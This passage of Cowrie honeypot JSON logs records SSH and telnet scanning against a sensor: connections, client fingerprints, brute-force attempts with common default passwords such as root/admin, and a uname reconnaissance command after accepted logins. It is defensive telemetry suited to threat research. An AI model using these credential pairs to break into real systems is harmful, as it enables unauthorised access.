512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.275126Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.575318Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.808793Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.811942Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.915168Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:08.919548Z","src_ip":"92.118.39.92","session":"891f9c7f4793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":52066,"dst_ip":"159.203.135.109","dst_port":22,"session":"655eb462ab98","protocol":"ssh","message":"New connection: 103.234.53.173:52066 (159.203.135.109:22) [session: 655eb462ab98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:18.861308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:18.866122Z","src_ip":"103.234.53.173","session":"655eb462ab98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:19.075799Z","src_ip":"103.234.53.173","session":"655eb462ab98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":33586,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bc777f98978","protocol":"ssh","message":"New connection: 157.10.160.98:33586 (159.203.135.109:22) [session: 2bc777f98978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:19.855368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:19.859176Z","src_ip":"157.10.160.98","session":"2bc777f98978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composer","password":"12345678","message":"login attempt [composer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:19.944866Z","src_ip":"103.234.53.173","session":"655eb462ab98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:20.102221Z","src_ip":"157.10.160.98","session":"2bc777f98978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aj","password":"aj123","message":"login attempt [aj/aj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:21.106797Z","src_ip":"157.10.160.98","session":"2bc777f98978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:21.169208Z","src_ip":"103.234.53.173","session":"655eb462ab98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:22.369967Z","src_ip":"157.10.160.98","session":"2bc777f98978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59108,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b7c7808eed","protocol":"ssh","message":"New connection: 2.57.122.208:59108 (159.203.135.109:22) [session: c4b7c7808eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:32.507953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:32.525661Z","src_ip":"2.57.122.208","session":"c4b7c7808eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:32.610528Z","src_ip":"2.57.122.208","session":"c4b7c7808eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:33.106934Z","src_ip":"2.57.122.208","session":"c4b7c7808eed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:34.208114Z","src_ip":"2.57.122.208","session":"c4b7c7808eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.21.150","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"01dfd111724a","protocol":"telnet","message":"New connection: 103.253.21.150:46350 (10.17.0.5:23) [session: 01dfd111724a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:42.136975Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:42.680555Z","src_ip":"103.253.21.150","session":"01dfd111724a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:48:42.723962Z","src_ip":"103.253.21.150","session":"01dfd111724a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":53752,"dst_ip":"159.203.135.109","dst_port":22,"session":"21fca20747ce","protocol":"ssh","message":"New connection: 185.196.10.227:53752 (159.203.135.109:22) [session: 21fca20747ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:28.668419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:28.673084Z","src_ip":"185.196.10.227","session":"21fca20747ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:28.782753Z","src_ip":"185.196.10.227","session":"21fca20747ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pop","password":"123","message":"login attempt [pop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:29.252097Z","src_ip":"185.196.10.227","session":"21fca20747ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:30.364931Z","src_ip":"185.196.10.227","session":"21fca20747ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41536,"dst_ip":"10.17.0.5","dst_port":22,"session":"322c1e24cba5","protocol":"ssh","message":"New connection: 195.178.110.218:41536 (10.17.0.5:22) [session: 322c1e24cba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:51.631678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:51.635404Z","src_ip":"195.178.110.218","session":"322c1e24cba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:51.713898Z","src_ip":"195.178.110.218","session":"322c1e24cba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:51.951884Z","src_ip":"195.178.110.218","session":"322c1e24cba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:49:53.033852Z","src_ip":"195.178.110.218","session":"322c1e24cba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.10.160.98","src_port":40644,"dst_ip":"159.203.135.109","dst_port":22,"session":"f70ac5e92e0f","protocol":"ssh","message":"New connection: 157.10.160.98:40644 (159.203.135.109:22) [session: f70ac5e92e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:22.686644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:22.691521Z","src_ip":"157.10.160.98","session":"f70ac5e92e0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:22.933166Z","src_ip":"157.10.160.98","session":"f70ac5e92e0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"user123","message":"login attempt [user7/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:23.970328Z","src_ip":"157.10.160.98","session":"f70ac5e92e0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:25.214964Z","src_ip":"157.10.160.98","session":"f70ac5e92e0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":51534,"dst_ip":"159.203.135.109","dst_port":22,"session":"38e1e306e58a","protocol":"ssh","message":"New connection: 92.118.39.92:51534 (159.203.135.109:22) [session: 38e1e306e58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:30.328624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:30.333410Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:30.483167Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"p@ss0rd","message":"login attempt [root/p@ss0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:30.913587Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:31.156834Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:31.160022Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:31.267333Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:31.271793Z","src_ip":"92.118.39.92","session":"38e1e306e58a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":35268,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2a716650b36","protocol":"ssh","message":"New connection: 103.234.53.173:35268 (159.203.135.109:22) [session: e2a716650b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:33.029040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:50:33.033184Z","src_ip":"103.234.53.173","session":"e2a716650b36","protocol":"ssh"}
